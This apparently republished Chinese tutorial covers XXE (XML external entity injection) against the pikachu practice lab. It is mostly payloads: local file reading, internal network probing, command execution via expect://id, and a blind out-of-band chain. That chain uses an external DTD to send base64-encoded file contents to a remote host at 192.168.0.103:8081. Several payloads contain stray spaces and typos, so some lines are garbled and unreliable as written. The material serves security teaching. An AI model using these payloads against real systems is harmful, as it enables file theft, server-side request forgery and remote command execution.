概念:
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
利用:输出形式(有回显:协议玩法(http,file,各脚本支持协议)、外部引用,无回显:外部引用-反向链接配合)
过滤绕过(协议玩法,外部引用,编码UTF-16BE)
实例——pikachu
pikachu-xxe:
#玩法-读文件
<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>
#玩法-内网探针或攻击内网应用(触发漏洞地址)
< ! ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http:/ /192.168.0.103:8081/ index. txt"
>
]>
<x>&rabbit;</x>
#玩法-RCE
该cASE是在安装expect扩展的Hp环境里执行系统命令
<?xml version = "1.0"?>
<! DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>
#引入外部实体dtd
<?xml version="1.0" ?>
< ! DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2. dtd">
%file;|
]>
<x>&send;</x>
evi12. dtd:
<! ENTITY send SYSTEM "file: ///d: /test. txt">
#无回显-读取文件
<?xml version="1.0"?>
< !DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/ read=convert.base64-
encode/ resource=d:/test. txt">
<!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test. dtd">
%dtd;
%send;
]>
test. dtd:
<!ENTITY % payload
"<!ENTITY % send SYSTEM
'http://192.168.0. 103:8081/ ?data=%file; '>”
>
%%payload;
黑盒检测:通过BP抓包,判断数据格式类型,Content-type值判断(text/xml,application/xml),更改Content-type值看返回
靶场推荐:xxe-lab
vulnhub靶场 (偏向实际)
原文始发于微信公众号(寒鹭网络安全团队):XML&XXE利用检测绕过
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论